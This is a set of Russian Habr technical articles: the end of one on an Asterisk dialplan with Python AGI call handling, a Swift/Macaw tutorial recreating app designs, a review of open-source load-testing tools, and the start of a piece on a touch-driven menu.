В общем кто как привык и кому как нравится. Как мы видим при такой организации исходящих вызовов практически нет информации о состоянии вызова. Мы модифицировали Dialplan обработки звонков и добавили в него сервисные функции
```
[service]
; GetIP subroutine
exten => getip,1,Set(TESTAT=${CUT(SIP_HEADER(From),@,2)})
same => n,GotoIf($["${TESTAT}" != ""]?hasat)
same => n,Set(FROM_IP=${CUT(CUT(SIP_HEADER(From),>,1),:,2)})
same => n,Goto(gotip)
same => 20(hasat),Set(FROM_IP=${CUT(CUT(CUT(SIP_HEADER(From),@,2),>,1),:,1)})
same => n(gotip),NoOp(Incoming Server IP is ${FROM_IP})
same => n,Return()
exten => set_handler,1,Set(CHANNEL(hangup_handler_push)=service,outbound_handler,1)
same => n,AGI(/usr/local/etc/asterisk_scripts/create_channel_record.py)
same => n,Return()
; Set Hangup handler for channel
exten => outbound_handler,1,NoOp(Hungup handler python started)
same => n,AGI(/usr/local/etc/asterisk_scripts/hangup.py)
same => n,HangupCauseClear()
same => n,Return()
exten => no_more_paths,1,NoOp(No more dial paths)
same => n,Hangup()
[predial]
exten => s,1,NoOp(PreDial handler python started)
same => n,AGI(/usr/local/etc/asterisk_scripts/predial.py)
same => n,Return()
[public]
exten => _X.,1,GoSub(service,getip,1)
same => n,AGI(/usr/local/etc/asterisk_scripts/incoming.py)
exten => _+X.,1,GoSub(service,getip,1)
same => n,AGI(/usr/local/etc/asterisk_scripts/incoming.py)
[users_context]
exten => _X.,1,NoOp()
same => n,AGI(/usr/local/etc/asterisk_scripts/make_a_route.py)
[make_a_call]
exten => h,1,NoOp(Hangup)
exten => _.,1,NoOp(${EXTEN})
same => n,SET(__LoopCount=1)
same => n(try),AGI(/usr/local/etc/asterisk_scripts/incoming_dialer.py)
same => n,Dial(${DIALSTRING},60,b(service^set_handler^1)U(predial))
same => n,SET(__LoopCount=${IF($[${HANGUPCAUSE}=17]?10:${LoopCount})})
same => n,Set(__LoopCount=${INC(LoopCount)})
same => n,NoOp(Current LoopCount ${LoopCount})
same => n,GotoIf($["${LoopCount}" < 10]?try)
same => n,Hangup()
[redirect]
exten => h,1,NoOp(Hangup)
exten => _.,1,NoOp(${ForwardPath})
same => n,Dial(${ForwardPath}/${EXTEN},60,b(service^set_handler^1))
same => n,Hangup()
```
Контекст **[service]** содержит в себе сервисные функции такие как:
* **getip** — определение IP адреса входящего сервера
* **set\_handler** — установка обработчиков на текущий исходящий вызов. Данный обработчик вызывается перед осуществлением вызова при создании канала
* **outbound\_handler** — обработчик завершения вызова. Вызывается во всех случаях отбоя со стороны вызываемого абонента
* **no\_more\_paths** — используется если исчерпаны все доступные варианты вызова абонента
Контекст **[predial]** вызывается перед соединением абонентов при успешном поднятии трубки на вызываемой стороне.
В контекст **[public]** попадают все внешние звонки.
В контекст **[redirect]** попадают все звонки, которые необходимо переадресовать с сервера на сервер.
Контекст **[users\_context]** является основным контекстом пользователей для подготовки маршрутов для вызовов.
Контекст **[make\_a\_call]** является основным контекстом при осуществлении исходящего вызова.
Рассмотрим более подробно процедуру обработки входящего вызова:
1. Вызов поступает с сервера оператора и попадает в контекст **[public]**
2. Вызывается процедура определения IP адреса сервера с которого пришёл вызов на основе заголовков SIP пакета
3. Вызывается AGI приложение *incoming.py* осуществляющее начальную обработку входящего вызова.
4. Внутренняя логика приложения подключается к базе данных и отправляет в процедуру проверки подключений начальные имеющиеся параметры: IP адрес сервера, вызываемый номер, идентификатор сервера. Идентификатор сервера является уникальным, соответствует таблице серверов и определяется в файле *asterisk.conf*.
5. Если с идентификацией номера всё нормально, то производится поиск ранее использованных звонков пользователей звонящему абоненту. В случае успешного поиска вызов переадресовывается на инициатора предыдущего звонка. В случае неуспешного поиска вызов переадресовывается на дежурного оператора. Если с идентификацией номера возникли проблемы, то производится голосовая "отбивка".
Все внутренние и внешние исходящие вызовы происходят через контексты **[users\_context]** и **[make\_a\_call]**.
Рассмотрим подробнее процедуру исходящего вызова:
1. Внутренний абонент набирает номер вызываемого абонента
2. Вызов попадает в контекст **[users\_context]**
3. Исходные данные для осуществления вызова передаются в AGI приложение *make\_a\_route.py*, внутренняя логика которого, используя данные базы данных, формирует очередь маршрутов для осуществления вызова. На основе полученного списка маршрутов, который состоит из:
* оператора через которого происходит вызов
* исходящего диалпира для осуществления вызова
* CallerID для исходящего вызова
* стоимости вызова через оператора
* …
приложение *make\_a\_route.py* меняет контекст на **[make\_a\_call]** или **[redirect]** и передаёт в них идентификатор сформированной очереди
4. Контекст **[redirect]** используется в случаях, когда жёстко привязанный к серверу номер, с которого необходимо сделать вызов, находится на другом сервере.
5. Контекст **[make\_a\_call]** представляет собой цикл дозвона с мониторингом состояния. В нашей конфигурации мы ограничиваем количество итераций в цикле дозвона до 10 штук. Поэтому при обращении в контекст дозвона, мы устанавливаем в 1 внутреннюю переменную итераций дозвона, действующую только в текущей сессии.
6. Данные очереди полученные из предыдущего контекста и номер текущей итерации дозвона передаются в AGI приложение *incoming\_dialer.py*, которое возвращает сформированный заранее, в AGI приложении *make\_a\_route.py*, DialString для осуществления вызова.
7. Для осуществления мониторинга вызова, используются дополнительные опции приложения [Dial](https://wiki.asterisk.org/wiki/display/AST/Asterisk+13+Application_Dial), а именно U и b. Опция b позволяет вызвать подпрограмму после создания канала связи, но перед самим вызовов. В данном случае эта опция используется для установки AGI приложения, которое будет вызвано при разрыве соединения. Одновременно с вызовом данной опции, в базу данных, заносится информация о текущем осуществляемом вызове. Опция U позволяет вызвать подпрограмму при установлении соединения с абонентом, т.е. в момент поднятия вызываемым абонентом трубки. Это позволяет гарантированно отследить начало разговора и начать отсчёт времени.
8. Если соединение с абонентом не удалось и код возврата не равен 17(Занято), следует новая итерация цикла.
9. Вся информация о завершении соединения через текущий канал связи заносится в базу данных. Что позволяет считать ABR, ASR и прочую аналитику путём обычного запроса к базе данных
10. Если количество циклов дозвона превысило имеющееся в базе данных, то происходит переход в контекст **[no\_more\_paths]**, который может осуществлять информирование клиента о невозможности соединения с абонентом
На этом логика работы сервера Asterisk заканчивается. Используя данную связку базы данных и приложений, добавление серверов в обслуживающий кластер происходит путём копирования конфигурационной директории сервера Asterisk, сменой имени сервера, генерацией новых RSA ключей для IAX соединений и прописыванием идентификационных данных сервера в одной таблице. Вся остальная логика работы формируется через веб интерфейс путём привязки номеров и операторов к серверам.
Использование AGI приложений на Python обусловлено единообразием среды разработки при проектировании Application сервера. Начальная версия AGI приложений использовала прямое подключение к базе. После запуска системы и отладки работы ядра, AGI приложения были переписаны под использование протокола HTTP и Application Server на [uwsgi](https://uwsgi-docs.readthedocs.io/en/latest/). Часть операций не требующих проверки условий и вычислений, например проверка категорий номеров, была переписана для скорости на использование CURL в диалплане.
[Следующая статья](https://habrahabr.ru/post/319558/) посвящена тарификатору, LCR и определению геопозиции вызываемых или вызывающих абонентов.
© Aborche 2017
 | https://habr.com/ru/post/319352/ | null | ru | null |
# Повторяем дизайн приложений, получивших награду Apple
Привет, Хабр! Дизайнеры рисуют приложения с красивыми кнопочками, тенями, анимациями, градиентами и сложными переходами между экранами. К сожалению, такие дизайны нелегко превращать в рабочие приложения. Можно ли облегчить нашу работу? Разберемся на примере приложений, получивших награды Apple за дизайн: Auxy, Streaks и Zova.
Статья предназначена только для образовательных целей. Пожалуйста, не используйте исходный код в других целях.
Для создания интерфейса я возьму библиотеку [Macaw](https://github.com/exyte/macaw), которая описывает графику в виде верхнеуровневых объектов [сцены](https://en.wikipedia.org/wiki/Scene_graph). Советую заглянуть в «[Getting Started](https://github.com/exyte/Macaw/wiki/Getting-started)», если еще не видели. Погнали!
Streaks
-------
[Streaks](https://itunes.apple.com/us/app/streaks/id963034692?mt=8) – To-Do список, воспитывающий хорошие привычки: читать каждый день и не забывать чистить зубы. Определим графические компоненты и связи между ними.
Первый элемент рисует сетку 2 на 3: X-координата первой колонки ноль, второй – половина ширины экрана. Y-координата зависит от номера строки и равна `row*screen.width/2` (ячейки квадратные).
Элемент «streak» включает в себя контент и заголовок. По клику пользователь переключает контент между логотипом, календарем и статистикой. Функцию переключения сделаем позже.
```
// grid cell (column, row)
let streak = Group(
contents: [self.streak(text: "MEDIUM", imageName: "medium")],
place: Transform.move(
dx: Double(screen.width / 2) * column,
dy: Double(screen.width / 2) * row
)
)
// streak: content + title
func streak(text: String, imageName: String) -> Group {
let title = Text(
text: text,
font: Font(name: fontName, size: 14),
fill: Color.white,
align: .mid,
place: Transform.move(
dx: Double(screen.width) / 4,
dy: 0.7 * Double(screen.width) / 2
)
)
let streakContent = Group()
return [streakContent, title].group()
}
```
Займемся логотипом, календарем и статистикой. Логотип состоит из дуги длиной 2\*PI и картинки в центре. Радиус зависит от размера экрана. Элементы позиционируются относительно точки (0,0).
```
let ellipse = Ellipse(cx: radius, cy: radius, rx: radius, ry: radius)
let border = Shape(
form: Arc(ellipse: ellipse, extent: 2 * M_PI),
fill: background,
stroke: Stroke(fill: Color(val: 0x744641), width: 8)
)
let image = UIImage(named: imageName)!
let logoImage = Image(
src: imageName,
place: Transform.move(
// move image in the point (radius, radius)
dx: radius - Double(image.size.width) / 2,
dy: radius - Double(image.size.height) / 2
)
)
let logo = [border, logoImage].group()
```
В календарь входит название месяца, дня недели и статусы дней: «сделано», «пропущено» или «предстоит сделать». «Сделано» и «предстоит» отображаются простыми кругами. «Пропущено» – две пересекающиеся линии черного цвета.
```
// input parameters
let x = width / 6 * Double(column)
let y = Double(row) * 15
// skip day
let line1 = Line(x1: x - 4, y1: y, x2: x + 4, y2: y + 8)
let line2 = Line(x1: x - 4, y1: y + 8, x2: x + 4, y2: y)
let stroke = Stroke(fill: Color.black, width: 4)
let cross = [
Shape(form: line1, stroke: stroke),
Shape(form: line2, stroke: stroke)
].group()
// done day
let done = Shape(
form: Circle(cx: x, cy: y + radius, r: radius),
fill: doneColor
)
// future day
let future = Shape(
form: Circle(cx: x, cy: y + radius, r: radius),
fill: lightColor
)
```
Статистика – группа из трех баров с разными Y-координатами. Y-координата зависит от номера бара, а ширина бара от размера экрана: в нашем случае это 80% от половины ширины (по 10% отступ с каждой стороны).
Бар содержит четыре элемента: два текста и два прямоугольника со скругленными углам. Один прямоугольник заполненный.
```
let bar = Group(contents: [
Text(
text: "LAST 30 DAYS",
font: Font(name: fontName, size: 12),
fill: Color.white,
align: .min
), Text(
text: "42%",
font: Font(name: fontName, size: 12),
fill: lightColor,
align: .max,
place: Transform.move(dx: width, dy: 0)
), Shape(
form: Rect(x: 0, y: 18, w: width, h: 10).round(r: 2),
fill: lightColor
), Shape(
form: Rect(x: 0, y: 18, w: width * 0.42, h: 10).round(r: 2),
fill: Color.white
)
]
```
Закончили с контентом, перейдем к анимации переключения. Тап по streak’у переключает и центрирует новый контент (элементы отличаются шириной). Первая анимация скрывает старый контент, вторая показывает новый.
```
func animateStreak(newContent: Group, margin: Int) {
let animation = streakContent.opacityVar.animation(to: 0.0, during: 0.1)
animation.onComplete {
streakContent.contents = newContent
streakContent.place = Transform.move(dx: margin / 2, dy: 0)
streakContent.opacityVar.animation(to: 1.0, during: 0.1).play()
}
animation.play()
}
```
Остался последний штрих. Запускаем анимацию дуги от `1.5*PI` до `3.5*PI` при создании новой привычки. [Здесь](https://github.com/exyte/Macaw/wiki/Content-animation) подробнее читаем о content-animation. В конце анимации открываем «Add Task» контроллер.
```
streak.onTap { tapEvent in
let animation = group.contentsVar.animation({ t in
let animatedShape = Shape(
form: Arc(ellipse: ellipse, shift: 1.5 * M_PI, extent: 2 * M_PI * t),
stroke: Stroke(fill: Color.white, width: 8)
)
return [animatedShape]
}, during: 0.5).easing(Easing.easeInOut)
animation.onComplete {
// open task controller
}
animation.play()
}
```
### Результат
Не забываем чистить зубы и смотрим [Xcode проект](https://github.com/exyte/Macaw-Examples/tree/master/DesignAwardedApps/Streaks) на GitHub.
Auxy Studio
-----------
[Auxy](https://itunes.apple.com/us/app/auxy-studio-music-beat-maker/id1034348186?mt=8) – студия для создания музыки и битов в телефоне. Синие квадраты – звуки, пользователь добавляет и удаляет их по тапу. При нажатии на «Play» белая линия движется сверху вниз и при пересечении со звуком воспроизводит его.
Auxy экран состоит из четырех основных компонентов: кнопка «Play», «LineRunner», звуки и сетка на фоне.
Сетка содержит горизонтальные и вертикальные линии. Каждая четвертая горизонтальная линия выделяется. Размер сетки 8x16: ширина ячейки `screen.width / columns` и высота `screen.height / rows`.
```
let columns = Array(0..
```
При тапе на экран добавляем звук на сетку. Колонка и строчка вычисляются из координат тапа. Звук содержит два прямоугольника: передний белого цвета с прозрачностью 0.0 и задний синего цвета. Передний прямоугольник загорается, когда линия пересекает звук.
```
let column = floor(tapLocation.x / cellSize.w)
let row = floor(tapLocation.y / cellSize.h)
let rect = Rect(w: cellSize.w, h: cellSize.h)
let background = Shape(form: rect, fill: Color.rgb(r: 4, g: 112, b: 215))
let foreground = Shape(form: rect, fill: Color.white, opacity: 0.0)
let sound = Group(
contents: [background, foreground],
place: Transform.move(
dx: column * cellSize.w,
dy: row * cellSize.h
)
)
```
Кнопка «Play» – самый сложный элемент. Два статических элемента: заполненный круг и дуга с отступом `0.05` возле `PI/2`. «Play» состоит из трех точек: (-1, 2), (2, 0), (-1, -2), «Stop» из четырех: (-2, 2), (2, 2), (2, -2), (-2, -2). Любой элемент сцены легко масштабируется до нужных размеров. Векторная графика – мощь!
```
let border = Shape(
form: Arc(
ellipse: Ellipse(rx: radius, ry: radius),
shift: -M_PI / 2 + 0.05,
extent: 2 * M_PI - 0.1
),
stroke: Stroke(fill: Color.rgba(r: 219, g: 222, b: 227, a: 0.3), width: 2.0)
)
let circle = Shape(form: Circle(r: 25.0), fill: сolor)
let playButton = Shape(
form: MoveTo(x: -1, y: 2).lineTo(x: 2, y: 0)
.lineTo(x: -1, y: -2).close().build(),
fill: Color.rgb(r: 46, g: 48, b: 58),
place: Transform.scale(sx: 5.0, sy: 5.0)
)
let stopButton = Shape(
form: MoveTo(x: -2, y: 2).lineTo(x: 2, y: 2)
.lineTo(x: 2, y: -2).lineTo(x: -2, y: -2).close().build(),
fill: Color.rgb(r: 46, g: 48, b: 58),
place: Transform.scale(sx: 4.0, sy: 4.0)
)
let buttons = [[playButton], [stopButton]]
let buttonGroup = Group(contents: buttons[0])
let button = Group(contents: [border, circle, buttonGroup])
```
Когда пользователь нажимает «Play»:
* Заменяем «Play» на «Stop» или обратно
* Запускаем циклическую анимацию дуги: длина анимируется с `-PI/2+0.05` до `3*PI/2–0.1`
```
button.onTap { tapEvent in
// change button content
let index = buttons.index { $0 == buttonGroup.contents }!
buttonGroup.contents = buttons[(index + 1) % buttons.count]
if index == 0 {
play()
} else {
// if stop pressed
contentAnimation.stop()
// hide animation group
animationGroup.opacityVar.animation(to: 0.0, during: 0.1).play()
}
}
func play() {
contentAnimation = animationGroup.contentsVar.animation({ t in
let shape = Shape(
form: Arc(
ellipse: Ellipse(rx: radius, ry: radius),
shift: -M_PI / 2 + 0.05,
extent: max(2 * M_PI * t - 0.1, 0)
),
stroke: Stroke(fill: Color.white, width: 2)
)
return [shape]
}, during: time).cycle()
contentAnimation.play()
}
```
При нажатии на «play» линия циклически движется сверху вниз. При пересечении со звуком мы подсвечиваем его. Зная время анимации рассчитываем, когда линия пересечет звук. Это значение – задержка анимации подсвечивания.
```
let line = Shape(
form: Line(x1: 0, y1: 0, x2: size.w, y2: 0),
stroke: Stroke(fill: Color.rgba(r: 219, g: 222, b: 227, a: 0.5), width: 1.0)
)
func run(time: Double) {
let lineAnimation = line.placeVar.animation(
to: Transform.move(dx: 0, dy: screen.height),
during: time
).easing(Easing.linear)
let hightlight = sounds.map { sound -> Animation in
return sound.hightlight().delay(sound.place.dy / screen.height * time)
}.combine()
let runAnimation = [soundsAnimation, lineAnimation].combine().cycle()
runAnimation?.play()
}
```
### Результат
Создаём музыку и смотрим [Xcode проект](https://github.com/exyte/Macaw-Examples/tree/master/DesignAwardedApps/Auxy) на GitHub.
Zova
----
[Zova](https://itunes.apple.com/us/app/zova-fitness-trainer-activity/id919000809?mt=8) – персональный фитнес тренер. В него входит две компоненты: круговая диаграмма в центре и бар внизу экрана.
В круговую диаграмму входит восемь кругов на фоне, один заполненный круг в центре, текущий результат и emoji иконка.
```
let mainCircle = Shape(
form: Circle(r: 60), fill: mainColor,
stroke: Stroke(fill: Color.white, width: 1.0)
)
let score = Text(
text: "3",
font: Font(name: lightFont, size: 40), fill: Color.white,
align: .mid, baseline: .mid
)
let icon = Text(
text: "молния",
font: Font(name: regularFont, size: 24), fill: Color.white,
align: .mid, place: Transform.move(dx: 0.0, dy: 30.0)
)
let shadows = [
Point(x: 0, y: 35), Point(x: -25, y: 25), Point(x: 25, y: 25), Point(x: 25, y: -25),
Point(x: -25, y: -25), Point(x: -40, y: 0), Point(x: 40, y: 0), Point(x: 0, y: -35)
].map { place in
return Shape(
form: Circle(r: 40), fill: Color.white.with(a: 0.8),
place: Transform.move(dx: place.x, dy: place.y)
)
}.group()
let acivityCircle = Group(contents: [shadows, mainCircle, score, icon])
```
Тап в круговую диаграмму отображает по кругу доступные emoji иконки. Если расстояние от центра до иконки d, то координаты иконки `(cos(alpha) * d, sin(alpha) * d)`. По умолчанию меню выбора иконок скрыто (прозрачность 0.0).
```
let data = ["лыжник", "мяч", "молния"] // хабр сходит с ума от emoji
let emojis = data.enumerated().map { (index, item) -> Group in
let shape = Shape(form: Circle(r: 20), fill: Color.white)
let icon = Text(
text: item,
font: Font(name: regularFont, size: 14),
fill: Color.white,
align: .mid,
baseline: .mid
)
return Group(
contents: [shape, icon],
place: emojiPlace(index: index, d: 20.0),
opacity: 0.0
)
}.group()
func emojiPlace(index: Int, d: Double) -> Transform {
let alpha = 2 * M_PI / 10.0 * Double(index)
return Transform.move(
dx: cos(alpha) * d,
dy: sin(alpha) * d
)
}
```
Бар – группа, состоящая из легенды и сегментов. Легенда состоит из прямоугольника со скругленными углами, «low» текста и еще одного прямоугольника с градиентным цветом.
```
let border = Shape(
form: Rect(w: 80, h: 30).round(r: 16.0),
fill: Color.white
)
let text = Text(
text: "Low",
font: Font(name: regularFont, size: 20), fill: mainColor,
align: .mid, baseline: .mid,
place: Transform.move(dx: 40, dy: 15)
)
let line = Shape(
form: Rect(x: 20, y: 30, w: 2, h: 40),
fill: LinearGradient(
degree: 90,
from: Color.white.with(a: 0.8),
to: mainColor
)
)
let legend = [border, text, line].group()
```
Сегмент состоит из прямоугольника и текста нам ним. X-координата элементов равна нулю. X-координата сегмента зависит от его номера. У последнего сегмента градиентный цвет.
```
let text = Text(
text: text,
font: Font(name: regularFont, size: 12), fill: Color.white,
align: .min, baseline: .alphabetic,
place: Transform.move(dx: 0, dy: -5)
)
let rect = Shape(
form: Rect(w: width, h: 8),
fill: !last ? color : gradient
)
let bar = [text, rect].group()
```
У легенды есть «прыгающий» эффект: она не спеша двигается вверх и вниз по вертикальной оси.
```
let jumpAnimation = legend.placeVar.animation(
to: Transform.move(dx: 0.0, dy: -8.0),
during: 2.0
).autoreversed().cycle()
```
Вернемся к анимации. При тапе на круговую диаграмму запускаем несколько анимаций одновременно:
* Скрываем бар и верхние надписи
* Уменьшаем фоновые круги
* Поднимаем и скрываем текст с текущим результатом
* Поднимаем и увеличиваем иконку emoji
* Показываем и перемещаем от центра доступные emoji иконки
Хорошие новости! Нам не нужно беспокоиться об обратной анимации, она доступна автоматически: у любой анимации есть метод `reverse()`.
```
let during = 0.5
let hideAnimation = [
bar.opacityVar.animation(to: 0.0, during: during),
texts.opacityVar.animation(to: 0.0, during: during)
].combine()
let emojisAnimation = emojis.contents.enumerated().map { (index, node) in
return [
node.opacityVar.animation(to: 1.0, during: during),
node.placeVar.animation(
// new emoji position
to: emojiPlace(index: index, d: 120.0),
during: during
)
].combine()
}.combine()
let circleAnimation = [
shadows.placeVar.animation(to: Transform.scale(sx: 0.5, sy: 0.5), during: during),
score.placeVar.animation(to: Transform.move(dx: 0, dy: -20), during: during),
score.opacityVar.animation(to: 0.0, during: during),
icon.placeVar.animation(to: Transform.move(dx: 0, dy: -30).scale(sx: 2.0, sy: 2.0), during: during),
].combine()
let animation = [hideAnimation, emojisAnimation, circleAnimation].combine()
let reverseAnimation = animation.reverse()
```
### Результат
Занимаемся спортом и смотрим [Xcode проект](https://github.com/exyte/Macaw-Examples/tree/master/DesignAwardedApps/Zova) на GitHub.
Summary
-------
Оживить дизайн, а тем более дизайн, получивший награду Apple, – нелегкая работа. Разработчики тратят много времени делая собственные графические элементы и анимации, работающие на устройствах различных размеров. Эту работу можно упростить, используя инструменты, предоставляющие правильные абстракции и удобное API. [Macaw](https://github.com/exyte/macaw) – одна из таких библиотек, которая позволяет сфокусироваться на главном. | https://habr.com/ru/post/323308/ | null | ru | null |
# Открытые бенчмарки для нагрузочного тестирования серверов и веб-приложений
Это — подборка утилит, составленная на основе рекомендаций резидентов Hacker News и GitHub. В список вошли: Locust, Vegeta, Slow\_cooker, k6 и Siege. Ими пользуются инженеры из DICE, EA и Buoyant, а также разработчики Kubernetes и Load Impact. Расскажем об этих инструментах.
[](https://habr.com/ru/company/1cloud/blog/474474/)
*Фото — [Victor Freitas](https://unsplash.com/photos/vjkM-0m34KU) — Unsplash*
[Locust.io](http://Locust.io)
-----------------------------
Инструмент для нагрузочного тестирования сайтов. Все сценарии пишутся на Python. Специальный веб-интерфейс, построенный на [Flask](https://palletsprojects.com/p/flask/), позволяет мониторить результаты в реальном времени. Авторы Locust — швейцарские инженеры, среди которых числятся сотрудники компаний DICE и EA, занимающихся разработкой и изданием компьютерных игр.
В основу инструмента заложена интересная концепция: Locust («саранча») эмулирует поведение целого роя насекомых (виртуальных пользователей), «атакующих» сайт во время теста. Запросы формируют с помощью сетевой библиотеки для организации параллельных вычислений — [gevent](http://www.gevent.org/). Вот пример простого теста, который приведен на официальном сайте проекта:
```
from locust import HttpLocust, TaskSet, task
class WebsiteTasks(TaskSet):
def on_start(self):
self.client.post("/login", {
"username": "test_user",
"password": ""
})
@task
def index(self):
self.client.get("/")
@task
def about(self):
self.client.get("/about/")
class WebsiteUser(HttpLocust):
task_set = WebsiteTasks
min_wait = 5000
max_wait = 15000
```
Locust задействует библиотеку requests. Эта надстройка над стандартными средствами Python упрощает работу с HTTP и SSL и делает код более наглядным. К слову, [документацию](https://2.python-requests.org/en/latest/) requests можно использовать в качестве шпаргалки для отладки тестов на Locust.
Этот инструмент для нагрузочного тестирования существует уже более семи лет. За это время вокруг него сформировалось обширное комьюнити — на GitHub [более 10 тыс. звезд](https://github.com/locustio/locust/stargazers). Locust использовали при оценке работоспособности сети Battlelog для серии игр Battlefield. Об инструменте положительно [отозвался](https://twitter.com/mitsuhiko/status/457145862947635200) Армин Ронахер (Armin Ronacher), автор фреймворка Flask.
Среди недостатков Locust [выделяют](https://news.ycombinator.com/item?id=15733943) довольно низкую производительность и периодические ошибки при оценке времени ответа сайтов. Также инструмент не умеет строить графики, но проблема решается выгрузкой результатов в виде [CSV](https://ru.wikipedia.org/wiki/CSV)-файлов и отрисовкой графиков в редакторе таблиц.
Если вы хотите поближе познакомиться с Locust, то стоит обратить внимание на [документацию](https://docs.locust.io/en/stable/) инструмента. Также можно рекомендовать [выступление](https://youtu.be/65Xa__DMhAw) Алексея Романова из Wargaming на Python Meetup. Он рассказывает, как писать сценарии, эмулирующие поведение пользователей.
[Vegeta](https://github.com/tsenart/vegeta)
-------------------------------------------
Утилита командной строки для тестирования HTTP-сервисов, написанная на Go. Её можно подключить как библиотеку для создания своих инструментов нагрузочного тестирования. Разработчиком Vegeta выступил один из авторов отрытой платформы [Sourcegraph](https://about.sourcegraph.com/) — это движок для рецензирования и навигации по исходному коду, который используют в Lyft, Uber и Yelp.
Vegeta оценивает возможности сетевых ресурсов, «бомбардируя» их запросами с установленной частотой. Например, для проверки localhost достаточно прописать следующую команду:
```
echo "GET http://localhost/" | vegeta attack -duration=5s | tee results.bin | vegeta report
```
По умолчанию Vegeta работает со стандартным потоком чтения команд (stdin), поэтому ресурс для тестирования передается через echo. Параметр duration указывает продолжительность теста. Репорт будет сгенерирован в файл results.bin. Отчеты Vegeta генерирует в текстовом формате, но при этом умеет [рисовать графики](https://sun9-3.userapi.com/c846120/v846120228/1a06ff/76A-H0NCNrY.jpg). Сгенерировать их можно следующей командой:
```
vegeta plot -title=Results results.bin > results-plot.html
```
Вокруг Vegeta сформировалось крупное сообщество — [12 тыс. звезд на GitHub](https://github.com/tsenart/vegeta/stargazers). Инструмент даже [использовали](https://news.ycombinator.com/item?id=11445695) разработчики Kubernetes для оценки производительности своей платформы — тогда Vegeta генерировала около 10 млн запросов в секунду к кластеру из тысячи узлов.
Документация с описанием всех функций и флагов для тестов Vegeta есть [в репозитории на GitHub](https://github.com/tsenart/vegeta). Там же [можно найти](https://github.com/tsenart/vegeta/releases) предварительно скомпилированные исполняемые файлы.
[Slow\_cooker](https://github.com/BuoyantIO/slow_cooker)
--------------------------------------------------------
Это — инструмент для нагрузочного тестирования серверов, написанный на Go. Его разработали инженеры из компании Buoyant, которая создает сервисную сеть для Kubernetes — Linkerd. Она является частью Cloud Native Computing Foundation и [считается](https://siliconangle.com/2019/03/14/service-mesh-company-bouyant-lands-10m-take-googles-istio/) конкурентом [Google Istio](https://www.opennet.ru/opennews/art.shtml?num=46598).
*Фото — [Joshua Aragon](https://unsplash.com/photos/EaB4Ml7C7fE) — Unsplash*
Обычно утилиты для нагрузочного тестирования проверяют возможности сервера, направляя ему как можно больше запросов за короткое время. Авторы slow\_cooker говорят, что их инструмент позволяет оценить работу железа под предсказуемой нагрузкой в течение длительного времени.
Специалисты из Buoyant используют свою разработку для тестирования Linkerd и других сервисов, например nginx. Инструмент довольно молодой — ему около трех — поэтому пока он не обзавелся большим комьюнити. Но в будущем ситуация может измениться, например, его репозиторий уже [форкнули](https://github.com/BuoyantIO/slow_cooker/network/members) в Skysсanner, международном сервисе для поиска авиабилетов.
Исходный код вы можете найти [на GitHub](https://github.com/buoyantio/slow_cooker).
[k6](https://k6.io/)
--------------------
Инструмент для нагрузочного и регрессионного тестирования микросервисов, контейнеров и сайтов, размещенных в облаке. Он написан на Go и JavaScript разработчиками из Load Impact — это приложение для тестирования «стойкости» сайтов.
Работа с k6 строится по модели everything as code, когда логика тестов и все настройки пишутся на JavaScript. В скриптах отдельные шаги можно объединять в группы (group), что может быть удобно для тех, кто привык следовать принципам BDD. Вот пример такой группы:
```
import { group } from "k6";
export default function() {
group("user flow: returning user", function() {
group("visit homepage", function() {
// load homepage resources
});
group("login", function() {
// perform login
});
});
};
```
Также инструмент дает возможность [записывать скрипты](https://docs.k6.io/docs/session-recording-har-support) и [строить графики](https://docs.k6.io/docs/influxdb-grafana) — последняя функция реализована на InfluxDB и Grafana. И у него есть интеграции с CI-системами вроде Jenkins, Circle CI, Team City и GitLab.
Пользователи говорят, что k6 [не требователен](https://blog.maddevs.io/k6-4e8768723c41) к ресурсам, и у него удобный API. Но есть и несколько недостатков, в частности, k6 [не поддерживает](https://news.ycombinator.com/item?id=14281488) websocket и [не умеет](https://github.com/loadimpact/k6/issues/140) проводить тесты на распределенных системах. Хотя разработчики k6 в тематическом треде на Hacker News [рассказали](https://news.ycombinator.com/item?id=14279389), что эти функции появятся в будущем.
Если вы хотите познакомиться с возможностями k6 самостоятельно, резиденты HN рекомендуют начать с [технической документации](https://docs.k6.io/docs) — она подробная и с примерами. Если будут возникать какие-либо вопросы, можно обратиться [на официальный форум](https://community.k6.io/).
[Siege](https://github.com/JoeDog/siege)
----------------------------------------
Siege позволяет провести нагрузочное тестирование веб-серверов. Утилиту создал инженер Джефф Фалмер (Jeff Fulmer), чтобы разработчики могли проверить ресурсоемкость своего кода в условиях, приближенных к боевым. Siege эмулирует непрерывный поток обращений к сайту от множества пользователей, как бы удерживая сервер «под осадой» — отсюда и название инструмента.
После теста утилита показывает: время проверки, число транзакций за секунду, пропускную способность, количество удачных и неудачных запросов, а также их число с ответным кодом 200. Вот [пример](https://en.wikipedia.org/wiki/Siege_(software)) отчета, генерируемого Siege.
Siege получил довольно широкое распространение в ИТ-сообществе. Например, нагрузочному тестированию с его помощью посвящен целый раздел в книге «[NGINX High Performance](https://www.amazon.com/Nginx-High-Performance-Rahul-Sharma/dp/1785281836)». Также его [используют](https://www.linode.com/docs/tools-reference/tools/load-testing-with-siege/) некоторые облачные провайдеры.
Из недостатков Siege можно выделить нестандартный синтаксис и неочевидные методы подсчета параметров тестирования — например, редиректы [считаются](https://blog.loadimpact.com/open-source-load-testing-tool-review) успешными транзакциями, поэтому их количество может превышать общее число запросов. Если вы хотите опробовать Siege на практике, изучите [онлайн-руководство](https://www.joedog.org/siege-manual/) — там разобраны некоторые «странности» системы.
**Дополнительное чтение в блоге 1cloud.ru:**
 [Что нового в Linux kernel 5.3 — графические драйверы, виртуализация и другие обновления](https://1cloud.ru/blog/chto-novogo-v-linux-kernel-5-3?utm_source=habrahabr&utm_medium=cpm&utm_campaign=benchnew&utm_content=blog)
 [Почему разработчики мейнстрим-браузера снова отказались от отображения поддомена](https://1cloud.ru/blog/chrome-otkazalis-ot-otobragenia-www?utm_source=habrahabr&utm_medium=cpm&utm_campaign=benchnew&utm_content=blog)
 [Почему Apple изменила требования к разработчикам приложений](https://1cloud.ru/blog/apple-izmenila-trebovania-k-razrabotchikam-prilogenii?utm_source=habrahabr&utm_medium=cpm&utm_campaign=benchnew&utm_content=blog) | https://habr.com/ru/post/474474/ | null | ru | null |
# Динамическое меню c поддержкой touch move и mouse move на RevolveR
Наверняка многие из вас хотели бы научиться создавать красивые и подвижные меню в духе Android Java и Kotlin приложений. Скорее всего даже многие из вас ради этого уходили в области программирования отдельных приложений и были вынуждены осваивать инородный стек.
